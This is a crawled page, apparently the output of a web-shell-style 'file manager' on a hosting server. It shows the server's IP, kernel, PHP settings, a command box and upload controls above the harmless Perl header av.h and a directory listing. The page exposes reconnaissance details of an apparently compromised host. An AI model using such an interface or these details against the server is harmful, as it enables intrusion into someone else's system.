GRAYBYTE WORDPRESS FILE MANAGER7540

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /usr/lib64/perl5/CORE/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /usr/lib64/perl5/CORE//av.h
/*    av.h
 *
 *    Copyright (C) 1991, 1992, 1993, 1995, 1996, 1997, 1998, 1999, 2000,
 *    2001, 2002, 2005, 2006, 2007, 2008, by Larry Wall and others
 *
 *    You may distribute under the terms of either the GNU General Public
 *    License or the Artistic License, as specified in the README file.
 *
 */

struct xpvav {
    HV*		xmg_stash;	/* class package */
    union _xmgu	xmg_u;
    SSize_t	xav_fill;       /* Index of last element present */
    SSize_t	xav_max;        /* max index for which array has space */
    SV**	xav_alloc;	/* pointer to beginning of C array of SVs */
};

/* SV*	xav_arylen; */

/* SVpav_REAL is set for all AVs whose xav_array contents are refcounted.
 * Some things like "@_" and the scratchpad list do not set this, to
 * indicate that they are cheating (for efficiency) by not refcounting
 * the AV's contents.
 * 
 * SVpav_REIFY is only meaningful on such "fake" AVs (i.e. where SVpav_REAL
 * is not set).  It indicates that the fake AV is capable of becoming
 * real if the array needs to be modified in some way.  Functions that
 * modify fake AVs check both flags to call av_reify() as appropriate.
 *
 * Note that the Perl stack has neither flag set. (Thus,
 * items that go on the stack are never refcounted.)
 *
 * These internal details are subject to change any time.  AV
 * manipulations external to perl should not care about any of this.
 * GSAR 1999-09-10
 */

/*
=head1 Handy Values

=for apidoc AmU||Nullav
Null AV pointer.

(deprecated - use C<(AV *)NULL> instead)

=head1 Array Manipulation Functions

=for apidoc Am|int|AvFILL|AV* av
Same as C<av_top_index()>.  Deprecated, use C<av_top_index()> instead.

=for apidoc Am|int|av_tindex|AV* av
Same as C<av_top_index()>.

=cut
*/

#ifndef PERL_CORE
#  define Nullav Null(AV*)
#endif

#define AvARRAY(av)	((av)->sv_u.svu_array)
#define AvALLOC(av)	((XPVAV*)  SvANY(av))->xav_alloc
#define AvMAX(av)	((XPVAV*)  SvANY(av))->xav_max
#define AvFILLp(av)	((XPVAV*)  SvANY(av))->xav_fill
#define AvARYLEN(av)	(*Perl_av_arylen_p(aTHX_ MUTABLE_AV(av)))

#define AvREAL(av)	(SvFLAGS(av) & SVpav_REAL)
#define AvREAL_on(av)	(SvFLAGS(av) |= SVpav_REAL)
#define AvREAL_off(av)	(SvFLAGS(av) &= ~SVpav_REAL)
#define AvREAL_only(av)	(AvREIFY_off(av), SvFLAGS(av) |= SVpav_REAL)
#define AvREIFY(av)	(SvFLAGS(av) & SVpav_REIFY)
#define AvREIFY_on(av)	(SvFLAGS(av) |= SVpav_REIFY)
#define AvREIFY_off(av)	(SvFLAGS(av) &= ~SVpav_REIFY)
#define AvREIFY_only(av)	(AvREAL_off(av), SvFLAGS(av) |= SVpav_REIFY)


#define AvREALISH(av)	(SvFLAGS(av) & (SVpav_REAL|SVpav_REIFY))
                                          
#define AvFILL(av)	((SvRMAGICAL((const SV *) (av))) \
			 ? mg_size(MUTABLE_SV(av)) : AvFILLp(av))
#define av_tindex(av)   av_top_index(av)

/* Note that it doesn't make sense to do this:
 *      SvGETMAGIC(av); IV x = av_tindex_nomg(av);
 */
#   define av_top_index_skip_len_mg(av)                                     \
                            (__ASSERT_(SvTYPE(av) == SVt_PVAV) AvFILLp(av))
#   define av_tindex_skip_len_mg(av)  av_top_index_skip_len_mg(av)

#define NEGATIVE_INDICES_VAR "NEGATIVE_INDICES"

/*
=for apidoc newAV

Creates a new AV.  The reference count is set to 1.

Perl equivalent: C<my @array;>.

=cut
*/

#define newAV()	MUTABLE_AV(newSV_type(SVt_PVAV))

/*
 * ex: set ts=8 sts=4 sw=4 et:
 */

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 20:49:23
root / root
0755
EXTERN.h
1.674 KB
May 18 2023 21:34:54
root / root
0644
INTERN.h
1.241 KB
May 18 2023 21:34:54
root / root
0644
XSUB.h
23.874 KB
May 18 2023 21:34:54
root / root
0644
av.h
3.242 KB
May 18 2023 21:34:54
root / root
0644
bitcount.h
0.83 KB
May 18 2023 21:34:54
root / root
0644
charclass_invlists.h
949.685 KB
May 18 2023 21:34:54
root / root
0644
config.h
163.476 KB
May 18 2023 21:34:54
root / root
0644
cop.h
38.609 KB
May 18 2023 21:34:54
root / root
0644
cv.h
11.76 KB
May 18 2023 21:34:54
root / root
0644
dosish.h
5.372 KB
May 18 2023 21:34:54
root / root
0644
dquote_inline.h
1.8 KB
May 18 2023 21:34:54
root / root
0644
ebcdic_tables.h
29.156 KB
May 18 2023 21:34:54
root / root
0644
embed.h
95.069 KB
May 18 2023 21:34:54
root / root
0644
embedvar.h
18.467 KB
May 18 2023 21:34:54
root / root
0644
fakesdio.h
3.136 KB
May 18 2023 21:34:54
root / root
0644
feature.h
4.8 KB
May 18 2023 21:34:54
root / root
0644
form.h
1.429 KB
May 18 2023 21:34:54
root / root
0644
git_version.h
0.349 KB
May 18 2023 21:34:54
root / root
0644
gv.h
10.46 KB
May 18 2023 21:34:54
root / root
0644
handy.h
120.458 KB
May 18 2023 21:34:54
root / root
0644
hv.h
24.972 KB
May 18 2023 21:34:54
root / root
0644
hv_func.h
13.099 KB
May 18 2023 21:34:54
root / root
0644
inline.h
45.395 KB
May 18 2023 21:34:54
root / root
0644
intrpvar.h
28.786 KB
May 18 2023 21:34:54
root / root
0644
invlist_inline.h
2.686 KB
May 18 2023 21:34:54
root / root
0644
iperlsys.h
47.662 KB
May 18 2023 21:34:54
root / root
0644
keywords.h
6.433 KB
May 18 2023 21:34:54
root / root
0644
l1_char_class_tab.h
123.943 KB
May 18 2023 21:34:54
root / root
0644
libperl.so
2.08 MB
May 18 2023 21:35:10
root / root
0755
malloc_ctl.h
1.477 KB
May 18 2023 21:34:54
root / root
0644
metaconfig.h
0.658 KB
May 18 2023 21:34:54
root / root
0644
mg.h
2.942 KB
May 18 2023 21:34:54
root / root
0644
mg_data.h
4.809 KB
May 18 2023 21:34:54
root / root
0644
mg_raw.h
4.157 KB
May 18 2023 21:34:54
root / root
0644
mg_vtable.h
9.117 KB
May 18 2023 21:34:54
root / root
0644
mydtrace.h
1.653 KB
May 18 2023 21:34:54
root / root
0644
nostdio.h
3.313 KB
May 18 2023 21:34:54
root / root
0644
op.h
35.565 KB
May 18 2023 21:34:54
root / root
0644
op_reg_common.h
5.772 KB
May 18 2023 21:34:54
root / root
0644
opcode.h
89.733 KB
May 18 2023 21:34:54
root / root
0644
opnames.h
8.629 KB
May 18 2023 21:34:54
root / root
0644
overload.h
3.199 KB
May 18 2023 21:34:54
root / root
0644
pad.h
16.842 KB
May 18 2023 21:34:54
root / root
0644
parser.h
6.752 KB
May 18 2023 21:34:54
root / root
0644
patchlevel.h
9.667 KB
May 18 2023 21:34:54
root / root
0644
perl.h
237.536 KB
May 18 2023 21:34:54
root / root
0644
perlapi.h
5.726 KB
May 18 2023 21:34:54
root / root
0644
perldtrace.h
3.224 KB
May 18 2023 21:34:54
root / root
0644
perlio.h
9.242 KB
May 18 2023 21:34:54
root / root
0644
perliol.h
13.438 KB
May 18 2023 21:34:54
root / root
0644
perlsdio.h
0.515 KB
May 18 2023 21:34:54
root / root
0644
perlvars.h
9.463 KB
May 18 2023 21:34:54
root / root
0644
perly.h
4.269 KB
May 18 2023 21:34:54
root / root
0644
pp.h
26.931 KB
May 18 2023 21:34:54
root / root
0644
pp_proto.h
11.803 KB
May 18 2023 21:34:54
root / root
0644
proto.h
240.979 KB
May 18 2023 21:34:54
root / root
0644
reentr.h
76.436 KB
May 18 2023 21:34:54
root / root
0644
regcharclass.h
141.193 KB
May 18 2023 21:34:54
root / root
0644
regcomp.h
46.676 KB
May 18 2023 21:34:54
root / root
0644
regexp.h
33.573 KB
May 18 2023 21:34:54
root / root
0644
regnodes.h
34.994 KB
May 18 2023 21:34:54
root / root
0644
scope.h
11.626 KB
May 18 2023 21:34:54
root / root
0644
sv.h
82.281 KB
May 18 2023 21:34:54
root / root
0644
thread.h
11.731 KB
May 18 2023 21:34:54
root / root
0644
time64.h
1.539 KB
May 18 2023 21:34:54
root / root
0644
time64_config.h
1.982 KB
May 18 2023 21:34:54
root / root
0644
uconfig.h
163.212 KB
May 18 2023 21:34:54
root / root
0644
unicode_constants.h
7.803 KB
May 18 2023 21:34:54
root / root
0644
unixish.h
4.987 KB
May 18 2023 21:34:54
root / root
0644
utf8.h
57.726 KB
May 18 2023 21:34:54
root / root
0644
utfebcdic.h
65.725 KB
May 18 2023 21:34:54
root / root
0644
util.h
9.375 KB
May 18 2023 21:34:54
root / root
0644
uudmap.h
0.883 KB
May 18 2023 21:34:54
root / root
0644
vutil.h
7.292 KB
May 18 2023 21:34:54
root / root
0644
warnings.h
7.633 KB
May 18 2023 21:34:54
root / root
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF